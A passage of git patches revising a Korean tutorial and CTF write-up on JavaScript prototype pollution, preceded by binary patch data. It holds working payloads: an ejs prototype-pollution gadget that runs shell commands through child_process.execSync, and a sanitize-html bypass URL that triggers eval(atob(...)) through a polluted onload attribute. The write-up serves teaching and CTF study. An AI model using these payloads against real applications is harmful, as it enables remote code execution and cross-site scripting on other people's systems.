z;ni59RQPkOk-km)gIAVs$sO$00Y*d#Q>ag~qc0|8)`G~CM5EnC+aj8sRx<#;Hfa)H zJ)&Nq&~Dw(gzb6)b*JY?Abbp^vUCCmu9MLO{PHj>p4omDQWbe-U$Yu3qt@!Hi6~6C z2ZMmiz3(8*Y)$-{sQ{d89QOP$08PL4x!b0b%rB3)U=}HgV&E+~YvW zaDkoXd4&No&uyH&xcoYO7EO;kK~{CcodAi=eMHQy*sd-gaA+1FjV=h}TjrJ)%yRVN zj5V?wf_`Cl3={l}1@T@Km@(ecU2hu7W>tod zMhl6zNPa`B)raAu(Wqr;$D~JdFPzzMiODvLcZLyNmJ`G4AeBK%BZz{X+V?k?XT^}n zBs*3{_O^4Jzxrp6qIB?OUVLUR&5n0d<7AlZIC}OgLT)a$e&2#Q2OWUxK^trUq6)z7 zj=_8QW4C4t&GF}-;U1u5n=`8_L+3~s3Hi#kB*%;y5SXwlTW-j{NJ@h<*nD9Mc3Zo$ zDa$*~0D?tAWvRtz4#AEg_$;sL(8W+66!Zl*9_ai&PIkL8|I&Sk9ipsA-XirK{j>*3 zDcvfvTKdPSO1*l?Z!;a;km%`7C$JSZJ>)lw=lm-YJ3yf7S&J}X&=(Y8PmiwsqPAsz z@Ge20&kaViJfO`muReI@5y%kSA_4SNR`>Z6N~>d!upho#_{6HD(OQblAX*paZg{eM zR|TQie@(_fBvtFALV_=0bU=N-?2(l5SKG*9Rz5DkTN%B@ndjAMVDN1oa7D>J8RzM))|vAs zLRXQzFwMY@4zS~C8<4kOH(8dFV7H6~pOqW@ahJGXyGDOF-i>-LK~l~>D%hrPw*c{- zxQV$a-EZhnHlm?FJ@M*x;oNtVL5#ub_SVsxb^<)yw6|nx02}HEMJJVLu|aaR%@ocY z4L+*cdrQGfOKo<;&Lt@uQGPF4vFbk2K9IT1la&CeS-?*Qc>hup3e{0GTc%_FXeA;B ze)q;LHv9;vKUxvo0x(0hH2Hc?rJ6d<3-2_44}oXbj#FCjKg~J5ms2(AL8sxPv=ELX>vpqlsX&&vKNkZ*-%oP} zA+X?_c~3M85cX!dn?CU^L&m3|K9jBj8xd8jrk8e8OSTF<+m-rZw^&EsrIMrVPu z-KL=(Ito*Y&PCZU{vr3F;kwrDo-@U$x&{51X&bMOWqkuAAXWCMOvibIxNW_dc8uqK z0YgEuTP#T!biYZsPDz!@iYKi;&GWHlDl-C5Ne!7;dp85StY%V0Q(zw84_v%wA2ULD zX$&@7ONniXX9pH}W3}l;t_gYU?!&#?*)_cIsa3kW;6vxSVA!+j!#FFE-DkqZX5pdh z(Qn*YJ}bWVE&(Lq0Kh)Ttz5f2HV9wzU=1j^Nzr&WScO-LZ%9zAR)`;=E@eO z$a}$`8-*uLvmLle-RB?$VYj?#Ri9XuD(=&nZPpmGYNal-igJN27ffFdE%;*J+@H!& z$p&`;O~h6#RM&)wZQ{B=6|9*lbr?xa+#W{1i3p!Eli^dQVQA+Ga~D*EmsJwZ@17{H zvb65?Btt#ykyahJ0f4WYHIz&(s2(ZD*VIA?fnUE3@rtCcE$hDXk4sLGLJ0RV#DZ#J z>98e>k9)I1v;Fi8+?{kK{WokJ;WMA(%n9>UhBKpURApY8dYng7D!m2q#9jz4PK-HE z&|5*9SVY@LnA;Bh50`5_MHex(oPaFUj)?b*U1Xr=^}&|^;CQy1F2v9Z&F1!94+uti z+Q4|$X%2gdD@0ROx`U*ErP9r(YK@V4n`8zjEKTLX@&C^Fe(}G9#sOQQ%L$hM lYH#$vBG3K&5QO6kWKR24Oz=Y3JOc1X Date: Thu, 17 Jul 2025 00:31:21 +0900 Subject: [PATCH 05/18] Delete assets/img/proto/test --- assets/img/proto/test | 1 - 1 file changed, 1 deletion(-) delete mode 100644 assets/img/proto/test diff --git a/assets/img/proto/test b/assets/img/proto/test deleted file mode 100644 index febfa1d..0000000 --- a/assets/img/proto/test +++ /dev/null @@ -1 +0,0 @@ -tsetdsdsdsds From 4079007d9b075043497d5e08d498b7718d459d74 Mon Sep 17 00:00:00 2001 From: apple6342 <39668014+apple6342@users.noreply.github.com> Date: Fri, 25 Jul 2025 16:39:14 +0900 Subject: [PATCH 06/18] Update prototype pollution.md --- _posts/prototype pollution.md | 635 ++++++++++++++++++++++++---------- 1 file changed, 449 insertions(+), 186 deletions(-) diff --git a/_posts/prototype pollution.md b/_posts/prototype pollution.md index 8f9d067..e9dd34d 100644 --- a/_posts/prototype pollution.md +++ b/_posts/prototype pollution.md @@ -1,18 +1,19 @@ -# 초안 +# 최종본 ***By Knights of the SPACE 가세혁(dpp), 김다희(lxnee), 박진완(realsung), 정성훈(HunSec)*** -# **BackGround( 정성훈 )** +# **BackGround** -Class Pollution 취약점을 소개하기 전에 기본적으로 알아야 할 몇 가지 배경지식을 소개하겠습니다. +# Class Pollution 취약점 소개 전에 알아야 할 배경지식 -JavaScript는 객체지향 언어이며 객체를 기반으로 작동하는 언어입니다. - -JavaScript 를 이루고 있는 거의 모든 것이 객체입니다. +- **Class Pollution 취약점을 설명하기 전에 반드시 짚고 넘어가야 할 핵심 개념입니다.** +- **JavaScript는 객체지향 언어이며, 모든 동작이 객체를 기반으로 이루어집니다.** +- **실제로 JavaScript를 구성하는 거의 모든 요소가 객체입니다.** ## 객체란? -이름(Key)과 값(Value)으로 이루어진 속성들의 집합입니다. 아래 객체 예시를 확인할 수 있습니다. +- **이름(Key)과 값(Value)으로 구성된 속성들의 집합**입니다. +- **아래 객체 예시**를 확인해 보시기 바랍니다. ### **person 객체** @@ -26,7 +27,7 @@ const person = { ## 속성이란? -**객체(Object)** 안에 있는 **"이름(key)"과 "값(value)"의 쌍입니다.** +- 객체(Object) 안에 있는 **"이름(key)"과 "값(value)"의 쌍**을 의미합니다. ```python const user = { @@ -38,14 +39,14 @@ const user = { - name, age → **속성** 이름 (key) - "지수", 25 → **속성** 값 (value) -## 메소드란? +## 메소드란 -객체 안에 정의되거나 객체에 속하는 함수입니다. +• **객체 안에 정의되거나 객체에 속하는 함수**를 의미합니다. ### 메소드와 함수의 차이 -- **메소드** : **객체를 통해** 호출되는 함수 -- **함수** : **객체 없이** 독립적으로 호출되는 함수 +- **메소드**: 객체를 통해 호출되는 함수 +- **함수**: 객체 없이 독립적으로 호출되는 함수 **메소드** @@ -69,13 +70,12 @@ greet(); ## Prototype -JavaScript는 전통적인 Class 기반 상속과 달리 **Prototype(프로토타입) 기반 상속**을 사용합니다. +JavaScript는 전통적인 클래스(Class) 기반 상속과 달리, **Prototype(프로토타입) 기반 상속**을 사용합니다. -**Prototype은** 타 언어와 구별되는 JavaScript만의 중요한 개념입니다. +**Prototype**은 타 언어와 구별되는, JavaScript만의 핵심 개념 중 하나입니다. -> Prototype은 JavaScript에서 **객체가 다른 객체**로부터 **속성**과 **메소드**를 -**상속받기 위한 메커니즘**입니다. -***쉽게 Prototype은 일종의 유전자**로 ****생각하시면 편합니다.* +> Prototype은 JavaScript에서 **객체가 다른 객체로부터 속성과 메소드를 상속받기 위한 메커니즘**입니다. +쉽게 말해, **Prototype은 유전자와 같은 역할**을 한다고 이해하면 좋습니다. > ### Prototype의 이해 @@ -87,26 +87,39 @@ const user = { } }; -**const admin = Object.create(user);** +**const admin = Object.create(user); // user를 prototype으로 지정** admin.name = "관리자"; admin.sayHi(); // 👉 "안녕!" ← **user에서 상속받은 메서드** ``` -admin 객체는 user 객체를 **Prototype으로 삼고** 있으므로, admin 자체에 sayHi()가 없어도 Prototype Chain을 따라 user.sayHi()를 찾아 호출할 수 있습니다. +`admin` 객체는 `user` 객체를 **Prototype으로 삼고** 있기 때문에, + +`admin` 자체에 `sayHi()` 메소드가 없어도 **Prototype Chain**을 따라 + +`user.sayHi()`를 찾아 호출할 수 있습니다. + +### **Prototype 구조 요약** - **부모 객체의 prototype (유전자)** - **자식에게 물려줄 메소드**를 정의하는 전용 공간입니다. - - 예시: Parent.prototype.sayHello = function () { … }; + - 예시: + + ```jsx + Parent.prototype.sayHello = function () { + console.log("안녕하세요!"); + }; + ``` + - **자식 객체의 __proto__(내부 유전자에 접근하기)** - - 생성될 때 **부모의 prototype**을 참조해 저장합니다. - - 이를 통해 **부모로부터 상속된 메소드·속성**에 접근할 수 있습니다. + - 객체가 생성될 때, **부모의 prototype을 참조해 저장**됩니다. + - 이를 통해 **부모로부터 상속된 메소드와 속성**에 접근할 수 있습니다. ### __**proto__** -모든 객체는 **__proto__**를 통해 자신의 **Prototype Chain(Prototype 내부)** 에 접근할 수 있습니다. +모든 객체는 **`__proto__`** 속성을 통해 자신의 **Prototype Chain(프로토타입 내부 구조)**에 접근할 수 있습니다 -**prototype 예시** +### **prototype 예시** ```jsx function Person(name) { @@ -121,11 +134,22 @@ p1.sayHello(); // 👉 "안녕, 나는 지수" ``` -- p1은 Person.prototype을 프로토타입으로 삼음 +- `p1` 객체는 `Person.prototype`을 **프로토타입으로 삼아** 메서드를 상속받습니다. +- 따라서 `p1` 자체에는 `sayHello`가 없지만, **Prototype Chain을 통해** `Person.prototype.sayHello`를 호출할 수 있습니다. ## JavaScript 상속 -JavaScript는 **Class 기반 상속**이 아닌 **Prototype기반 상속으로 객체끼리 연결을 통한 상속**을 합니다 (**Object**.,**proto,create** 이용) +JavaScript는 **Class 기반 상속**이 아닌, + +**Prototype 기반 상속**을 통해 객체 간 연결로 상속을 구현합니다. + +이때 사용되는 주요 요소는 다음과 같습니다: + +- `Object` +- `__proto__` +- `Object.create()` + +즉, 객체가 다른 객체를 **프로토타입으로 삼아 속성과 메소드를 상속**받는 구조입니다. ### JavaScript: Prototype 기**반 상속** @@ -161,27 +185,42 @@ c.say_hi() # 👉 Parent에서 상속받은 메서드 --- -# Prototype pollution ( 박진완 ) +# Prototype pollution + +## Prototype Pollution이란 + +**Prototype Pollution**은 공격자가 객체의 `Prototype`(`Object.prototype`)에 접근하여 **임의의 속성을 추가하거나 덮어쓸 수 있게 되는 JavaScript 취약점**입니다. + +이 취약점은 애플리케이션이 사용자 입력을 **적절히 검증하지 않고 객체에 병합(merge) 또는 확장(extend)**할 때 발생하며, -## Prototype pollution 이란 +다른 보안 취약점으로 쉽게 이어질 수 있습니다. -**Prototype Pollution**은 공격자가 객체의 Prototype(Object.prototype)에 접근하여 임의의 속성을 추가할 수 있게 하는 JavaScript 취약점입니다. +### 위험성 -만약 애플리케이션이 INPUT을 안전하지 않은 방식으로 처리한다면, 주로 다른 취약점으로 확장됩니다. +- **클라이언트 측(JavaScript)**: + + → **DOM XSS**(Document Object Model 기반 Cross-Site Scripting)로 이어질 수 있음 + +- **서버 측(Node.js 등)**: + + → **RCE**(Remote Code Execution) 같은 심각한 취약점으로 악용 가능 + -클라이언트 측 JavaScript에서는 이러한 공격이 일반적으로 **DOM XSS**로 이어지며, 서버 측에서는 **RCE**(Remote Code Execution)로 이어질 수도 있습니다. +Prototype Pollution을 실질적으로 활용하려면 **Prototype에 접근하는 다양한 방법**을 이해하는 것이 중요합니다. -Prototype Pollution의 실용적인 접근을 위해 Prototype에 접근하는 다양한 방법을 알아보겠습니다. +2024년 7월 10일, Ark는 X(구 Twitter)에 -7월 10일에 Ark가 X(구 Twitter)에 **“Tips: 7 ways to access __proto__ in JavaScript”**라는 게시글을 올렸습니다. +**“Tips: 7 ways to access `__proto__` in JavaScript”**라는 제목으로 + +관련 내용을 소개한 바 있습니다. [https://x.com/arkark_/status/1943260773268230205](https://x.com/arkark_/status/1943260773268230205) -위와 같이 7가지 방법으로 prototype에 접근할 수 있습니다. +위와 같이 **7가지 방법**으로 `prototype`에 접근할 수 있습니다. -그러면 Prototype Pollution은 주로 어떤 상황에 발생할까요? +그러면 **Prototype Pollution(PP)**은 주로 **어떤 상황에서 발생**할까요? -(이제부터 설명의 용이성을 위해 Prototype Pollution을 PP라 표기하겠습니다.) +*(이제부터 설명의 용이성을 위해 Prototype Pollution을 PP라 표기하겠습니다.)* **일반적으로 PP는 다음과 같은 상황에서 주로 발생**합니다. @@ -198,19 +237,35 @@ if (credential.admin) console.log('Hello Admin'); // Output : Hello Admin ``` -위와 같이 유저의 INPUT이 객체 접근에 사용되고, 객체에 할당되는 값(INPUT3)를 조작할 수 있을 때 PP가 발생합니다. 이런 식으로 내부 변수를 조작하여 공격자는 원하는 동작을 이끌어 낼 수 있습니다. +위 예시처럼, **사용자의 입력값이 객체의 키로 사용되고**, + +또한 **해당 키에 할당되는 값(INPUT3)까지 조작할 수 있는 경우**, + +**PP**가 발생하게 됩니다. + +이러한 방식으로 공격자는 내부 객체(`credential` 등)의 **속성을 간접적으로 조작**하여, + +**원래 허용되지 않은 동작을 유도**할 수 있습니다. + +예제에서는 `credential` 객체에 `admin` 속성이 없었지만, + +`Object.prototype.admin`에 `true`가 설정되면서 + +모든 객체에서 `admin` 속성이 존재하는 것처럼 동작하게 됩니다. ## 공격 예시 -### Prototype Pollution lead to RCE 사례 +### **Prototype Pollution → RCE 사례** -Server Side에서 Prototype Pollution이 발생할 시 RCE로 이어질 수 있다는 점을 보여주는 좋은 사례입니다. +서버 사이드에서 **PP**가 발생할 경우, -(이해를 돕기 위해 Prototype Pollution을 코드에 직접 삽입하였습니다. USER INPUT을 통해 발생하는 사례도 충분히 가능합니다.) +**원격 코드 실행(RCE)**로 이어질 수 있다는 점을 보여주는 좋은 사례입니다. -버전 : 3.1.6 +> (이해를 돕기 위해 PP를 코드에 직접 삽입하였지만, 실제로는 사용자 입력을 통해 충분히 동일한 상황이 발생할 수 있습니다.) +> -모듈 : ejs (NPM) +- **모듈**: `ejs` (Embedded JavaScript templating) +- **버전**: `3.1.6` ```jsx // app.js @@ -221,7 +276,7 @@ app.set('views', __dirname); app.set('view engine', 'ejs'); Object.prototype.client = 1; -Object.prototype.escapeFunction = 'function(){};console.log(process.mainModule.require("child_process").execSync("dir").toString())'; +**Object.prototype.escapeFunction = 'function(){};console.log(process.mainModule.require("child_process").execSync("dir").toString())';** app.get('/', (req, res) => { res.render('index'); @@ -232,13 +287,19 @@ app.listen(PORT, () => { }); ``` +`process.mainModule.require("child_process").execSync("dir").toString()` 구문을 통해 +서버에서 명령어가 실행되고, 결과가 출력됩니다. + ![image.png](image.png) -### Prototype Pollution lead to DOM XSS +--- + +### **Prototype Pollution → DOM XSS** -**L3akCTF 2025**에 [NotoriousNote](https://ctf.l3ak.team/challenges#NotoriousNote-64)라는 문제가 출제되었습니다. (135 Solves) +**L3akCTF 2025**에서 출제된 [**NotoriousNote**](https://ctf.l3ak.team/challenges#NotoriousNote-64) 문제는 +**Prototype Pollution을 통해 DOM XSS로 이어질 수 있음을 보여주는 좋은 사례**입니다. -다루고자 하는 주제와 잘 맞는 문제라서 예시로 가져오게 되었습니다. +### index.js 코드 분석 ```jsx // index.js @@ -261,11 +322,11 @@ document.addEventListener('DOMContentLoaded', function() { }); ``` -**index.js**에서는 `QueryArg.parseQuery`로 `window.location.search` 를 파싱합니다. - -`QueryArg.parseQuery` 는 출제자가 구현한 것으로 Prototype Pollution에 취약하게 구현되어 있습니다. +- `QueryArg.parseQuery(window.location.search)`를 통해 쿼리 파라미터를 파싱합니다. +- `note` 파라미터가 존재하면 `sanitizeHtml`을 거쳐 렌더링됩니다. +- 하지만 **파서(QueryArg)** 자체가 **Prototype Pollution에 취약**하게 구현되어 있습니다. -sanitizeHtml은 NPM의 **sanitize-html 모듈**입니다. +### 🛠 QueryArg 내부 구현 (발췌) ```jsx (function(global){ @@ -286,25 +347,35 @@ sanitizeHtml은 NPM의 **sanitize-html 모듈**입니다. ... ``` - `__proto__` 와 같은 문자열의 검증없이 currentRoot를 사용하여 할당하기 때문에 Prototype Pollution이 발생합니다. +- 위 로직은 `__proto__`, `constructor` 등의 위험한 키워드에 대한 **검증 없이** 객체에 직접 접근하고 값을 할당합니다. +- 이로 인해 `?__proto__[a]=1` 과 같은 쿼리가 **Prototype Pollution**을 유발합니다. -[http://34.134.162.213:17002/?__proto__[a]=1](http://34.134.162.213:17002/?__proto__[a]=1) 해당 링크에 접속하여 PP를 확인할 수 있습니다. +[http://34.134.162.213:17002/?__proto__[a]=1](http://34.134.162.213:17002/?__proto__[a]=1) 해당 링크를 통해서 PP를 확인할 수 있습니다. ![image.png](image%201.png) +### sanitize-html 우회 + +- `sanitize-html`은 NPM에서 제공하는 HTML sanitizer 모듈입니다. +- 하지만 prototype이 오염되면 이 필터도 우회할 수 있습니다. + `sanitizeHtml prototype pollution` 을 검색하면 [유용한 링크](https://www.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers.html)가 나옵니다. ![image.png](image%202.png) ![image.png](image%203.png) -따라서 아래와 같이 접근하여 문제를 해결할 수 있습니다.ㅑ +따라서 아래와 같이 접근하여 문제를 해결할 수 있습니다. ``` http://127.0.0.1:5000/?note=%3Ciframe%20onload=eval(atob(%22BASE64 인코딩된 페이로드%22))%3E&__proto__[*][0]=onload ``` +`__proto__[*][0]=onload`를 통해 **모든 태그의 첫 번째 속성이 `onload`로 오염**됩니다. + +• `note` 값에 `